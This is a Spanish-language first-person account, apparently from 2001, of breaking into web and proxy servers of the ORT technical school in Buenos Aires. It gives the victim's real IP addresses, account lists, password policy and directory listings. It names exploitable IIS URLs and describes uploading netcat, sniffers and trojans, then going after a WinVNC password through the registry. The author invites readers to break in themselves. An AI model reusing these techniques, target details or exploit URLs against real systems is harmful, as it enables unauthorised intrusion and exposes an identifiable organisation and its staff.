Intrusión en la tecnológica O.R.T (sede yatay 240)

 

Rompiendo las entrañas del infierno

intro:

        En este humilde capitulo les  voy a contar como fui adueñándome  de algunos servidores de la tecnológica o.r.t. En estos momentos ya los deje ya que cumplí con mi objetivo. yo voy a dar los ip reales de los servidores web routers etc. si quieren pueden intentar entrar ustedes, pero con cautela ya que volver a la escena del crimen es peligroso.

Servidor Web (www.ort.edu.ar)

                    Primero navegue su sitio web como un usuario normal (previamente configure mi navegador con un proxy anónimo que saque de void.ru). Al observar mientras navegaba notaba que el sitio tenia muchas pelotudeces de flash (pense seguro que tienen Microsoft ventanas ) para asegurarme le hice un telnet al puerto 80 con el famosa get http 1.1 (previamente le había hecho un telnet a una maquina de un pobre infeliz que tenia un cybercafe para que quede el ip de el) la respuesta del get me tiro un iis 4.0 osea un nt 4.0 puff!!

info recolectada del server web:

 IP Address : 200.41.61.226
HostName : WWW
MAC : 00-01-03-31-99-31 (3Com)
 UserName : WWW
LAN Manager : NT LAN Manager 4.0
 Domain : ORT
 Operating System : Windows NT 4.0
Time to live (TTL) : 122 (128) - 6 hop(s) away

NETBIOS names (11)     
 WWW  -  Workstation Service     
ORT  -  Domain Name     
WWW  -  Messenger Service     
WWW  -  File Server Service     
WWW  -  Microsoft Exchange IMC     
 INet~Services  -  IIS     
 ORT  -  Browser Service Elections     
 IS~WWW  -  Workstation Service     
 WWW  -  Microsoft Exchange MTA     
ORT  -  Master Browser     
 __MSBROWSE__  -  Master Browser


SNMP info (system)    
 sysDescr : Hardware: x86 Family 6 Model 8 Stepping 6 AT/AT COMPATIBLE - Software: Windows NT Version 4.0 (Build Number: 1381 Uniprocessor Free )    
  sysUpTime : 16 days, 19 hours, 30 minutes, 2 seconds    
  sysName : WWW    
 Object ID : 1.3.6.1.4.1.311.1.1.3.1.2 (NT Server)    
 Vendor : Microsoft


  Open Ports (4)    
   80 [ Http => World Wide Web, HTTP ]
   
             HTTP/1.1 400 Bad Request
   
             Server: Microsoft-IIS/4.0
   
             Date: Fri, 16 Nov 2001 08:40:35 GMT
   
             Content-Length: 407
   
             Content-Type: text/html
   
       135 [ epmap => DCE endpoint resolution ]
   
       139 [ Netbios-ssn => NETBIOS Session Service ]
   
       443 [ HttpS => Secure HTTP ]

 

 

Después empece a probar los fallos que estaban de moda en ese momento mas precisamente el del unicode y decode y liste los siguientes directorios:

Directory of c:\

File Not Found

 

 Volume in drive D is disco d

 Volume Serial Number is 8055-C7CA

 

 Directory of D:\

 

04/24/01  12:26p        <DIR>          InetPub

03/14/01  12:28p        <DIR>          logfiles

12/26/00  01:29a        <DIR>          MSSQL7

12/11/00  10:20p        <DIR>          postoffice

               4 File(s)              0 bytes

                          4,021,227,520 bytes free

 Directory of c:\

 

File Not Found

 

 Volume in drive D is disco d

 Volume Serial Number is 8055-C7CA

 

 Directory of d:\mssql7

 

12/26/00  01:29a        <DIR>          .

12/26/00  01:29a        <DIR>          ..

12/26/00  01:29a        <DIR>          BACKUP

12/26/00  01:28a        <DIR>          Data

12/26/00  01:27a        <DIR>          FTDATA

12/26/00  01:29a        <DIR>          JOBS

05/24/01  03:30p        <DIR>          LOG

12/26/00  01:29a        <DIR>          REPLDATA

               8 File(s)              0 bytes

                          4,021,227,520 bytes free

 Directory of c:\

 

File Not Found

 

 Volume in drive D is disco d

 Volume Serial Number is 8055-C7CA

 

 Directory of d:\mssql7\data

 

12/26/00  01:28a        <DIR>          .

12/26/00  01:28a        <DIR>          ..

11/13/98  03:28a             1,048,576 distmdl.ldf

11/13/98  03:28a             3,145,728 distmdl.mdf

05/24/01  03:33p            10,158,080 master.mdf

05/24/01  03:33p             2,097,152 mastlog.ldf

05/24/01  03:33p             1,048,576 model.mdf

05/24/01  03:33p               786,432 modellog.ldf

05/24/01  03:33p             8,388,608 msdbdata.mdf

05/24/01  03:33p             1,572,864 msdblog.ldf

05/24/01  03:33p             1,048,576 northwnd.ldf

05/24/01  03:33p             3,801,088 northwnd.mdf

05/24/01  03:33p             1,638,400 pubs.mdf

05/24/01  03:33p               516,096 pubs_log.ldf

05/24/01  03:33p             8,388,608 TEMPDB.MDF

05/24/01  03:33p               524,288 TEMPLOG.LDF

              16 File(s)     44,163,072 bytes

                          4,021,227,520 bytes free

 Directory of c:\

 

 Directory of c:\

 

05/29/01  12:41a        <DIR>          analog

12/31/97  10:12p                     0 AUTOEXEC.BAT

06/08/01  03:55p        <DIR>          batch

12/31/97  10:05p                   279 boot.ini

12/31/97  10:12p                     0 CONFIG.SYS

12/06/00  01:14a        <DIR>          InetPub

12/31/97  10:12p                     0 IO.SYS

12/31/97  10:12p                     0 MSDOS.SYS

12/26/00  01:25a        <DIR>          MSSQL7

12/06/00  01:04a        <DIR>          Multimedia Files

12/06/00  02:07a                26,816 NTDETECT.COM

12/06/00  02:07a               156,496 ntldr

06/08/01  03:53p        <DIR>          ntrk

06/09/01  06:01a           201,326,592 pagefile.sys

05/02/01  10:07a        <DIR>          Program Files

05/14/01  11:03a        <DIR>          RECYCLER

12/26/00  01:33a        <DIR>          SP2

05/17/01  03:10p        <DIR>          temp

06/08/01  10:46p        <DIR>          WINNT

              19 File(s)    201,510,183 bytes

                          3,310,107,648 bytes free

 Directory of c:\

 

File Not Found

 

 Directory of c:\analog

 

05/29/01  12:41a        <DIR>          .

05/29/01  12:41a        <DIR>          ..

03/22/01  10:54a                 4,353 analog.cfg

03/12/01  09:57p                 4,091 analog.cfg.original.txt

02/13/01  04:07p               399,360 analog.exe

02/13/01  04:28p                 8,212 anlgform.html

02/13/01  04:34p                 7,057 anlgform.pl

03/12/01  10:24p                 2,421 code.png

03/12/01  10:24p                 3,536 dir.png

05/30/01  12:35a               909,518 dns.txt

05/30/01  12:01a                     0 dnslock

03/11/01  11:05p        <DIR>          docs

03/11/01  11:06p                 2,400 dom.png

03/11/01  11:05p        <DIR>          examples

03/11/01  11:05p        <DIR>          images

03/11/01  11:05p        <DIR>          lang

02/13/01  04:28p                 7,127 Licence.txt

02/13/01  04:28p                 8,470 logfile.log

03/11/01  11:06p                 2,230 org.png

03/11/01  11:06p                 2,156 os.png

03/12/01  10:24p                41,354 outfile.html

02/13/01  04:35p                   110 README.txt

03/11/01  11:06p                15,366 Report.html

03/12/01  10:24p                 3,946 req.png

03/11/01  11:06p                 2,264 searchw.png

02/13/01  04:28p                   164 SETUP.txt

03/12/01  10:24p                 2,535 size.png

12/26/00  02:49a                12,168 tp07000.tmf

12/26/00  03:21a                12,168 tp29000.tmf

12/26/00  02:48a                12,168 tpb3000.tmf

03/12/01  10:24p                 3,972 type.png

              31 File(s)      1,467,146 bytes

                          3,310,107,648 bytes free

 Directory of c:\

 

File Not Found

 

 Directory of c:\inetpub

 

12/06/00  01:14a        <DIR>          .

12/06/00  01:14a        <DIR>          ..

06/09/01  02:02a        <DIR>          Catalog.wci

12/31/97  10:14p        <DIR>          ftproot

12/06/00  02:08a        <DIR>          iissamples

06/06/01  08:58p        <DIR>          scripts

06/08/01  10:35a        <DIR>          wwwroot

               7 File(s)              0 bytes

                          3,310,107,648 bytes free

 Directory of c:\

 

File Not Found

 

 Directory of c:\inetpub\wwwroot

 

06/08/01  10:35a        <DIR>          .

06/08/01  10:35a        <DIR>          ..

12/15/00  03:08a        <DIR>          activo

03/22/01  10:47a               212,090 analog-all.html

06/08/01  05:28a                25,534 analog.html

03/13/01  09:46p        <DIR>          analog_images

05/16/01  09:44a                40,448 banner.fla

05/16/01  09:36a                26,726 banner.gif

05/16/01  09:07a                 9,476 banner.swf

05/21/01  12:49p               226,304 banner2.fla

05/21/01  11:07a                23,367 banner2.gif

05/21/01  11:08a                22,582 banner2.swf

06/08/01  09:29a               231,936 banner3.fla

06/08/01  09:57a                40,142 banner3.gif

06/08/01  09:29a                25,384 banner3.swf

06/08/01  08:53a                52,736 banner4.fla

06/08/01  08:11a                10,361 banner4.gif

06/08/01  08:11a                19,160 banner4.swf

06/08/01  08:53a                56,832 banner5.fla

06/08/01  08:13a                50,125 banner5.gif

06/08/01  08:13a                10,781 banner5.swf

06/04/01  12:15p                25,600 bannerbis.fla

12/22/00  01:25a                    77 Bghome.gif

12/15/00  02:20a                   777 bg_azul.jpg

05/07/01  10:05a        <DIR>          botones

05/16/01  11:34a        <DIR>          bot_escuelas

12/27/00  04:51a        <DIR>          carreras

12/15/00  04:22a                 1,799 cdontsmail.asp

12/15/00  03:20a                 1,915 cdontsmail.htm

12/15/00  01:13a        <DIR>          cgi-bin

06/08/01  05:28a                 2,704 code.png

03/16/01  09:37a                 3,998 creditos.htm

12/15/00  03:09a        <DIR>          css

12/15/00  03:05a        <DIR>          csup

06/08/01  05:28a                 3,898 dir.png

06/08/01  05:28a                 3,186 dom.png

12/15/00  03:11a        <DIR>          d_coop_t

12/18/00  12:50a                 1,401 english.htm

12/15/00  02:57a        <DIR>          escuelas

06/08/01  05:28a                 4,779 fail.png

03/22/01  10:47a                 4,245 failhost.png

12/18/00  01:05a                 1,452 generos.htm

06/08/01  09:33a                 4,887 home.htm

12/22/00  01:28a                89,620 home.swf

03/22/01  10:47a                 3,173 host.png

12/15/00  02:24a        <DIR>          ie

12/29/00  01:01a        <DIR>          imagenes

12/15/00  02:33a        <DIR>          images

03/07/01  03:46a        <DIR>          imgcomun

06/04/01  11:00a        <DIR>          img_admision

12/15/00  02:33a        <DIR>          img_book

12/15/00  02:33a        <DIR>          img_infr

12/15/00  02:34a        <DIR>          img_mapa

03/07/01  12:40a        <DIR>          img_presentacion

12/15/00  02:34a        <DIR>          img_tercia1

12/15/00  02:34a        <DIR>          img_tercia2

05/16/01  10:01a                 2,443 index.htm

03/05/01  12:06a                 3,517 index2.htm

12/15/00  02:29a        <DIR>          i_pedag

12/15/00  02:34a        <DIR>          js

12/15/00  02:34a        <DIR>          Library

12/15/00  02:19a                 1,041 mandar_mail.asp

12/15/00  02:34a        <DIR>          mapas

06/09/01  02:20a        <DIR>          novedades

06/08/01  05:28a                 4,010 org.png

12/15/00  02:20a                    43 pixtrans.gif

12/15/00  02:20a                   642 pop.htm

06/08/01  09:53a                 2,497 popnov.htm

06/04/01  10:44a                   889 popnov2.htm

06/04/01  12:50p                   663 popnovb.htm

06/04/01  01:02p                   651 popnovy.htm

12/27/00  04:52a        <DIR>          presenta

03/22/01  10:47a                 3,610 proctime.png

03/22/01  10:47a                 3,967 req.png

12/22/00  03:11a        <DIR>          rrhh

12/15/00  02:25a        <DIR>          sede1

12/15/00  02:25a        <DIR>          sede2

12/15/00  02:23a        <DIR>          sedes

12/15/00  02:58a        <DIR>          servicio

06/06/01  12:49p                12,595 site_map.asp

06/08/01  05:28a                 2,554 size.png

12/15/00  02:58a        <DIR>          subtit

12/15/00  02:25a        <DIR>          tercia

12/15/00  02:19a                 9,016 top.asp

12/19/00  04:57a                27,805 top.swf

12/15/00  02:20a                 6,065 top_english.swf

12/22/00  01:54a                18,172 tt_creditos.swf

06/08/01  05:28a                 3,752 type.png

03/22/01  10:47a                 2,067 vhost.png

05/18/01  11:32a        <DIR>          yaron-pruebas

12/06/00  01:14a        <DIR>          _vti_bin

12/06/00  01:14a        <DIR>          _vti_cnf

12/06/00  01:14a        <DIR>          _vti_log

12/06/00  01:14a        <DIR>          _vti_pvt

12/06/00  01:14a        <DIR>          _vti_txt

              95 File(s)      1,343,494 bytes

                          3,310,107,648 bytes free

 Directory of c:\

 

File Not Found

 

 Directory of c:\inetpub\wwwroot\activo

 

12/15/00  03:08a        <DIR>          .

12/15/00  03:08a        <DIR>          ..

12/15/00  03:09a        <DIR>          compdep

12/27/00  04:47a                70,706 esc.htm

12/15/00  03:05a        <DIR>          ingles

12/15/00  03:05a        <DIR>          novedad

12/15/00  03:05a        <DIR>          olimpiad

05/14/01  08:26a        <DIR>          PREMIOS

12/15/00  03:05a        <DIR>          proy_esp

12/15/00  03:08a        <DIR>          publica

12/15/00  03:05a        <DIR>          talleres

12/15/00  03:08a        <DIR>          t_solid

              12 File(s)         70,706 bytes

                          3,310,107,648 bytes free

 Directory of c:\

 

File Not Found

 

 Directory of c:\inetpub\wwwroot\bot_escuelas

 

05/16/01  11:34a        <DIR>          .

05/16/01  11:34a        <DIR>          ..

12/29/00  01:53a                   197 ADMIS_OF.GIF

12/29/00  01:53a                   188 ADMIS_OV.GIF

12/29/00  01:53a                   210 AUTOR_OF.GIF

12/29/00  01:53a                   197 AUTOR_OV.GIF

12/29/00  01:53a                   215 CBASI_OF.GIF

12/29/00  01:53a                   207 CBASI_OV.GIF

12/29/00  01:53a                   222 CSUPE_OF.GIF

12/29/00  01:53a                   213 CSUPE_OV.GIF

12/29/00  01:53a                   276 dpsico_of.gif

12/29/00  01:53a                   258 dpsico_ov.gif

05/16/01  11:11a                   223 escuela1_of.gif

05/16/01  11:07a                   212 escuela1_ov.gif

05/16/01  11:20a                   229 escuela2_of.gif

05/16/01  11:18a                   219 escuela2_ov.gif

12/15/00  03:09a                 1,208 FINDER.DAT

12/29/00  01:53a                   234 MAPAC_OF.GIF

12/29/00  01:53a                   227 MAPAC_OV.GIF

              19 File(s)          4,735 bytes

Al listar los dir nos damos cuenta los programas instalados.

Como solo podía ejecutar comandos como local system mediante tftp subí el netcat snifers winsniff troyanos etc.

también gracias al netcat me conecte con telnet al puerto 80 (para que el fire no salte) empece a jugar con los comando net y a montar unidades

Server Name Remark

 

net view

\\AMOSCOVICH Adrian Moscovich

\\CESA_ARGENTINA

\\LEONARDO Leo

\\ORT1001

\\ORT2000

\\ORT2001

\\VJASID Viviana Jasid

\\WEB-TEMP

The command completed successfully.

 

 

Domain

 

-------------------------------------------------------------------------------

CALLWARE

INFORMATICA

INTERNET1

ORT

The command completed successfully.

Shared resources at \\leonardo

Leo

Share name Type Used as Comment

-------------------------------------------------------------------------------

DARIO Disk

MIS DOCUMENT Disk

SERVICE PACK Disk

The command completed successfully.

en el disco de dario encontré este archivo de Access (.mdb) base97.mdb

---------------------------------------------------------------------------------------------------------------

luego al día siguiente encontré mas fallos todos se ejecutaban desde el navegador:

Fallo 1

 

http://200.41.61.226/iisadmpwd/aexp3.htr

 

 

 

 

 

Internet Service Manager
for Internet Information Server 4.0

Your password has expired. You can change it now.

Account

Old password

New password

Confirm new password

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Fallo 2:

http://200.41.61.226/iissamples/exair/howitworks/codebrws.asp

 

  

ASP Script

  

Comments

  

HTML and Text


Server.MapPath() error 'ASP 0171 : 80004005'

Missing Path

/iissamples/exair/howitworks/codebrws.asp, line 44

The Path parameter must be specified for the MapPath method

 

 

Return to Exploration Air Homepage
Return to Exploration Air Homepage
EXPLORATION  AIR HOMEPAGE

Advanced Search Page

Click here to learn how this 	page works

Return to Simple Search PageSIMPLE  SEARCH  PAGE

 

 


Search the site

Please fill out the form below to create your complex search query:

 

Words to search for:

 

File Size is:

 

Modified:

 

Document Author:

 

©1997 Microsoft Corporation. All rights reserved. Terms of Use.

nota este descripto arriba es  un fallo denial of service

------------------------------------------------------------------------------------------------------------

fallo 3

Return

 


Datasource creation FAILED! The most likely cause is invalid attributes

226/scripts/tools/newdsn.exeSelect Directory


Selected Directory: C:\


Drives: Hard diskC:NOSPART
Hard diskD:html
Hard diskE:sql


Directories: FolderC:\ Folderanalog
FolderBATCH
FolderDMI
FolderHP
FolderI386
FolderInetPub
Folderjulieta    //este lo cree yo jujuju
Folderntrk
FolderProgram Files
FolderRECYCLER
FolderTEMP
FolderWINNT



New directory name:


 

Sample Full Hit Highlighting Form

Query none against document /iissamples/issamples/oop/qfullhit.htw

You can navigate between the hits using the "<<" and ">>" tags around a hit. Clicking "<<" takes you to the previous hit, clicking ">>" takes you to the next hit.

Click to go to the first hit in the document.

New Query


in Sample Full Hit Highlighting Form
Query against document
You can navigate between the hits using the "<<" and ">>" tags around a hit. Clicking "<<" takes you to the previous hit, clicking ">>" takes you to the next hit.
Click to go to the first hit in the document.
New Query
©1997 Microsoft Corporation. All rights reserved.
Legal Notices.


Learn more about Internet Information Server!

©1997 Microsoft Corporation. All rights reserved.
Legal Notices.

Download Internet Explorer!

The format of QUERY_STRING is invalid.

Welcome
Here is your upload status

 

-----------------------------------------------------------------------------------------

fallo 4

miren este fallo si uno navega en el puerto 280 obtiene info del server

http://www.ort.edu.ar:280/cgi-bin/hpnst.exe?c=p+i=sensortemp.html

Temperature Sensors



NetServer Temperature Sensors


#

Status

Sensor

Reading

0

Ok

Pri. CPU Temp

25.00 C

1

Ok

Sec. CPU Temp

23.00 C

2

Ok

System Bd Temp

24.00 C

 



Temperature Events


#

Status

Code

Event Type

Description

Date/Time

No temperature events found

 


NST Banner

 

 

HP NetServer LC 2000

WWW

HP NetServer LC 2000

 

 

 

System Name:

 WWW

Model:

 HP NetServer LC 2000

Location:

 

Contact:

 

BIOS Version:

 4.06.30 PV

NOS Name:

 Microsoft Windows NT

NOS Version:

 4.0 (Build 1381: Service Pack 6)

Instant TopTools Version:

 5.03 build 7

Agents Version:

 5.03

MAC Address:

 00 30 6E 07 86 CF
 00 01 03 31 99 31

Network Address:

 10.1.1.11
 200.41.61.226

Up Time:

 27 days 16:35:27 seconds


Powered by GoAhead

System Information


System Name:

WWW

Model:

HP NetServer LC 2000

Total Processors:

1

Processor Type:

Pentium(R) III

Primary Processor Speed:

1000

Total Memory:

128 MB

NOS Name:

Microsoft Windows NT

NOS Version:

4.0 (Build 1381: Service Pack 6)

Up Time:

27 days 16:36:41 seconds

Power On Password State:

Information Not Available

Keyboard Password State:

Information Not Available

 

Location:

Contact:

Phone:

 

Final del formulario

 

 

HP NetServer Summary Report


How to Save or Print this report.

 

Printable Page | Savable Page

System Information


System Name:

WWW

Model:

HP NetServer LC 2000

Total Processors:

1

Processor Type:

Pentium(R) III

Primary Processor Speed:

1000

BIOS Version:

4.06.30 PV

Video BIOS Version:

3.097

SCSI BIOS Version:

4.14.04

Up Time:

27 days 16:37:45 seconds

Power On Password State:

Information Not Available

Keyboard Password State:

Information Not Available

NOS Name:

Microsoft Windows NT

NOS Version:

4.0 (Build 1381: Service Pack 6)

Location:

 

Contact:

 

Phone:

unknown



Memory Configuration


Total Memory:

128 MB

 

 

Total Memory Slots:

4

 

 

Error Detecting Method:

64-Bit ECC

 

 

Error Correcting Capabilities:

Single Bit Error Correcting,Error Scrubbing

 

 

Current Interleave:

One way interleave

 

 

Max Memory Module Size:

1024 MB

 

 

Supported Memory Types:

ECC,DIMM,SDRAM

 

 

Memory Module Voltage:

3.3V

 

 

 

 

Installed Memory

 

Socket

Type

Size

Installed

DIMM 0

ECC,DIMM,SDRAM

128 MB

-

DIMM 1

Empty

0

-

DIMM 2

Empty

0

-

DIMM 3

Empty

0

 



Storage Subsytem Configuration



Controllers


 

Controller

Target ID

Type

Driver Name

Driver Version

DRAM Size

0

255

IDE

atapi

4.00 

0

 

 

 

 

 

 

 

1

15

HP NetRAID

mraidnt

4.05 

16

 

 

 

 

 

 

 

2

7

SCSI

Sym_hi

SYMHINT-4.12.00 

0

 

 

 

 

 

 

 

3

7

SCSI

Sym_hi

SYMHINT-4.12.00 

0

 

 

 

 

 

 

 

 


Physical Devices


 

Controller

Channel

Target ID

Device Type

Capacity

Vendor

Product ID

Firmware Version

Serial Number

Drive Letter

1

0

0

Disk

8.47 GB

IBM

HP 9.10GB C 80-D94N

D94N

VDL8N488  

C: D: E:

1

0

1

Disk

8.47 GB

IBM

HP 9.10GB C 80-D94N

D94N

VDL8N390  

C: D: E:

1

0

2

Disk

8.47 GB

IBM

HP 9.10GB C 80-D94N

D94N

VDL8Q352  

C: D: E:

1

0

5

SAF-te/Processor

-

Vendor N/A

HP SAFTE; U160/M BP

1023

-

 



Version Information



Drivers


File Name

Type

State

Size

Date

afd.sys

Ancillary Function Driver for WinSock

Running

66640 Bytes

07/16/01 12:05:00

asrdev.sys

AsrDev

Running

10240 Bytes

07/27/98 17:32:58

atapi.sys

ATAPI IDE Miniport Driver

Running

18352 Bytes

10/13/96 22:38:00

atirage.sys

ATIRAGE Miniport Driver

Running

35712 Bytes

10/06/99 16:21:50

Beep.sys

BEEP Driver

Running

4112 Bytes

11/18/99 11:04:00

Cdrom.sys

SCSI CD-ROM Driver

Running

22192 Bytes

11/18/99 11:04:00

Disk.sys

SCSI Disk Driver

Running

15248 Bytes

11/18/99 11:04:00

EL90xBC4.sys

3Com EtherLink PCI Driver

Running

61440 Bytes

08/01/00 11:13:30

Floppy.sys

Floppy Driver

Running

18928 Bytes

07/16/01 12:05:00

hpgate.sys

hpgate

Running

5216 Bytes

08/27/99 17:23:08

hpncomm.sys

AFA Comm Driver

Running

30480 Bytes

11/03/00 14:08:04

hpndisk.sys

AFA Disk Class Driver

Running

29968 Bytes

11/03/00 14:08:04

hpnport.sys

AFA Port Driver

Running

28880 Bytes

11/03/00 14:08:04

hpnscsi.sys

AFA SCSI Port Driver

Running

21200 Bytes

11/03/00 14:08:04

HPTXNT.SYS

NDIS 4 driver

Running

71440 Bytes

04/11/00 09:08:56

i8042prt.sys

i8042 Port Driver

Running

29680 Bytes

11/18/99 11:04:00

intlfxsr.sys

Intel(R) Streaming SIMD Extensions Driver

Running

6352 Bytes

11/18/99 11:04:00

kbdclass.sys

Keyboard Class Driver

Running

9392 Bytes

11/18/99 11:04:00

KSecDD.sys

Kernel Security Support Provider Interface

Running

9648 Bytes

11/18/99 11:04:00

mmcdev.sys

mmcdev

Running

9504 Bytes

02/03/00 20:25:20

mouclass.sys

Mouse Class Driver

Running

9488 Bytes

11/18/99 11:04:00

mraidnt.sys

HP NetRAID Driver

Running

16928 Bytes

11/03/00 08:20:28

Msfs.sys

Mailslot driver

Running

23152 Bytes

07/16/01 12:05:00

NDIS.sys

NDIS 3.0 wrapper driver

Running

122992 Bytes

11/18/99 11:04:00

netbios.sys

NetBIOS interface driver

Running

29200 Bytes

11/18/99 11:04:00

netbt.sys

MBT Transport driver

Running

124720 Bytes

07/16/01 12:05:00

Npfs.sys

NPFS Driver

Running

38448 Bytes

11/18/99 11:04:00

nsapci.sys

nsapci

Running

4704 Bytes

03/02/99 21:27:58

Null.sys

NULL Driver

Running

2800 Bytes

10/13/96 22:38:00

Parallel.sys

Parallel Printer Driver

Running

14960 Bytes

07/16/01 12:05:00

Parport.sys

Parallel Port Driver

Running

10064 Bytes

07/16/01 12:05:00

ParVdm.sys

VDM Parallel Driver

Running

6288 Bytes

10/13/96 22:38:00

Serial.sys

Serial Device Driver

Running

45552 Bytes

11/18/99 11:04:00

sym_hi.sys

Symbios Hi-Perf SCSI Miniport Driver

Running

23904 Bytes

04/14/99 00:12:00

tcpip.sys

TCP/IP driver

Running

174896 Bytes

07/16/01 12:05:00

vga.sys

VGA/Super VGA Video Driver

Running

14704 Bytes

11/18/99 11:04:00

 


Firmware


Firmware

Version

Management Controller

F.10.38

Hot Swap Cage

A.10.23

HP NetRAID Controller

F.02.05

 

Data collected on 10/13/01 04:44:49

Memory Status


Total Memory:

128 MB

Total Memory Slots:

4

 

 

 

Installed Memory


Status

Module

Slot Label

Size

Ok

0

DIMM 0

128 MB

-

1

DIMM 1

0

-

2

DIMM 2

0

-

3

DIMM 3

0

 

Click on a socket label to see advisory information.

Memory Events


#

Status

Code

Event Type

Description

Date/Time

No memory events found

 


como ven este server esta plagado de fallos fue muy fácil  someterlo.  Mi objetivo no era cambiarle la pagina eso es una pendejada, mi obj fue subirle un sniffer y un troyano para regresar por mas y saltar a otras maquinas etc.

------------------------------------------------------------------------------------------

Proxy:

Este server es el que funciona en el laboratorio de internet, esta conectado con 8 maquinas win98 mas a las que da servicio de internet para que lo alumnos naveguen.

info recolectada:

200.41.61.234  [ PROXY1 ]   ( Windows 2000 )

 
  IP Address : 200.41.61.234
  HostName : PROXY1
  MAC : 00-01-03-D3-61-88 (3Com)
  UserName : IUSR_PROXY
  LAN Manager : Windows 2000 LAN Manager
  Domain : INTERNET1
  Operating System : Windows 2000
  Computer usage : NT/2k Member Server
  Time to live (TTL) : 125 (128) - 3 hop(s) away

  NETBIOS names (10)     
  PROXY1  -  Workstation Service     
  PROXY1  -  File Server Service     
  INTERNET1  -  Domain Name     
  INTERNET1  -  Browser Service Elections     
  PROXY1  -  Messenger Service     
  IUSR_PROXY  -  Messenger Service     
  INTERNET1  -  Master Browser     
 _MSBROWSE__  -  Master Browser     
  INet~Services  -  IIS     
  IS~PROXY1  -  Workstation Service


  Shares (6)     
  
IPC$  - Remote IPC        
   D$  - Default share        
   r$  - Default share        
   mspclnt  -         
   ADMIN$  - Remote Admin        
   C$  - Default share   

  Users (6)    
  Administrator ( )
   
   FullName :    
  Privilege : Administrator (*)    
  Homedir :    
         Comment : Built-in account for administering the computer/domain    
         UserComment :    
         ScriptPath :    
         Workstations :    
         Last Logon : 15 Nov 2001, 4:6:49    
         Password age : 79 days, 14 hours, 42 minutes, 6 seconds    
        # Logons : 141    
         Bad Passwords Count : 0    
      Guest ( )
   
       FullName :    
       Privilege : Guest    
       Flags : ACCOUNT_DISABLED , PASSWORD_NOT_REQUIRED , PASSWORD_CANNOT_BE_CHANGED    
       Homedir :    
       Comment : Built-in account for guest access to the computer/domain    
       UserComment :    
       ScriptPath :    
       Workstations :    
       Last Logon : never    
      Password age : 57 days, 7 hours, 20 minutes, 58 seconds    
       # Logons : 0    
       Bad Passwords Count : 0    
     iusr_proxy ( iusr_proxy )
   
       FullName : iusr_proxy    
       Privilege : User    
       Homedir :    
       Comment : Built-in account for Internet Information Services    
       UserComment :    
       ScriptPath :    
       Workstations :    
       Last Logon : 14 Nov 2001, 4:19:46    
       Password age : 3 days, 20 hours, 30 minutes, 8 seconds    
       # Logons : 8    
       Bad Passwords Count : 0    
      IUSR_PROXY2 ( Internet Guest Account )
   
       FullName : Internet Guest Account    
       Privilege : Guest    
       Flags : PASSWORD_NOT_REQUIRED , PASSWORD_CANNOT_BE_CHANGED    
       Homedir :    
       Comment : Built-in account for anonymous access to Internet Information Services    
       UserComment : Built-in account for anonymous access to Internet Information Services    
       ScriptPath :    
       Workstations :    
       Last Logon : 16 Nov 2001, 0:20:35    
       Password age : 80 days, 17 hours, 24 minutes, 50 seconds    
       # Logons : 0    
       Bad Passwords Count : 0    
     IWAM_PROXY2 ( Launch IIS Process Account )
   
          FullName : Launch IIS Process Account    
          Privilege : Guest    
          Flags : PASSWORD_NOT_REQUIRED , PASSWORD_CANNOT_BE_CHANGED    
          Homedir :    
          Comment : Built-in account for Internet Information Services to start out of process applications    
          UserComment : Built-in account for Internet Information Services to start out of process applications    
          ScriptPath :    
          Workstations :    
          Last Logon : 15 Nov 2001, 13:4:53    
          Password age : 80 days, 17 hours, 24 minutes, 50 seconds    
         # Logons : 88    
          Bad Passwords Count : 0    
      TsInternetUser ( TsInternetUser )
   
          FullName : TsInternetUser    
          Privilege : Guest    
          Flags : PASSWORD_NOT_REQUIRED , PASSWORD_CANNOT_BE_CHANGED    
          Homedir :    
          Comment : This user account is used by Terminal Services.    
          UserComment :    
          ScriptPath :    
          Workstations :    
          Last Logon : never    
          Password age : 80 days, 17 hours, 26 minutes, 57 seconds    
          # Logons : 0    
          Bad Passwords Count : 0


  Network devices (8)    
       \Device\NetBT_Tcpip_{742DB7B6-7B4D-4F1C-A460-3DAB15DABCD4} (00-01-02-3D-99-BD)
   
       \Device\NetBT_Tcpip_{742DB7B6-7B4D-4F1C-A460-3DAB15DABCD4} (00-01-02-3D-99-BD)
   
       \Device\NetbiosSmb (local)
   
        \Device\NetbiosSmb (local)
   
        \Device\NetBT_Tcpip_{C0ECDB81-873D-40C3-940B-02FA02FC84A0} (00-01-03-D3-61-88)
   
        \Device\NetBT_Tcpip_{C0ECDB81-873D-40C3-940B-02FA02FC84A0} (00-01-03-D3-61-88)
   
        \Device\NetBT_Tcpip_{9192F18C-11BC-4D67-A41D-E9165359B946} (00-01-03-D3-63-29)
   
        \Device\NetBT_Tcpip_{9192F18C-11BC-4D67-A41D-E9165359B946} (00-01-03-D3-63-29)


  Remote TOD (time of day)    
      Time of day : 16 Nov 2001 , 8:45.3 , GMT - 3
   
      UpTime : 1 days, 20 hours, 26 minutes, 25 seconds


  Password policy     
      Minimum password length : 0 chars     
      Maximum password age : 42 days     
      Minimum password age : no delay     
      Force logoff : never force     
      Password history : no history


  Open Ports (7)    
      25 [ Smtp => Simple Mail Transfer Protocol ]
   
            220 proxy1 Microsoft ESMTP MAIL Service, Version: 5.0.2195.2966 ready at Fri, 16 Nov 2001 05:45:11 -0300    
       80 [ Http => World Wide Web, HTTP ]
   
             HTTP/1.1 400 Bad Request
   
             Server: Microsoft-IIS/5.0
   
             Date: Fri, 16 Nov 2001 08:45:11 GMT
   
             Content-Type: text/html
   
             Content-Length: 87
   
       135 [ epmap => DCE endpoint resolution ]
   
       139 [ Netbios-ssn => NETBIOS Session Service ]
   
       443 [ HttpS => Secure HTTP ]
   
       445 [ Microsoft-Ds ]
   
       5800 [ VNC => Remote Control Software ]


 

este servidor tenia el puerto 80 prendido y cuando uno accedía vía navegador ponía el famoso site under construction ese server también tenia el fallo de decode entonces liste sus directorios para verlos

dir1.txt

dir2.txt

dir3.txt

otra vez tenia solo permisos de system local, pero en este note que tenia el puerto 5800 prendido y que corría el famoso Winvnc (un programa para controlar un pc parecido al Pc anyyware)

entonces desde la maquina de la oficina coloque lo siguiente en el navegador:

http://200.41.61.234:5800 y aparecio lo siguiente:

Arriba vemos como accedemos al login del winwnc mediante el navegador desde un w2kas.  Solo faltaba descubrir la contraseña...y bueno entonces gracias al fallo del inicode/decode exporte la clave del registro que guarda la contraseña encriptada del winvnc a un archivo y después le hice un cat no perdón un type al archivo:

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Type: application/octet-stream
Windows Registry Editor Version 5.00

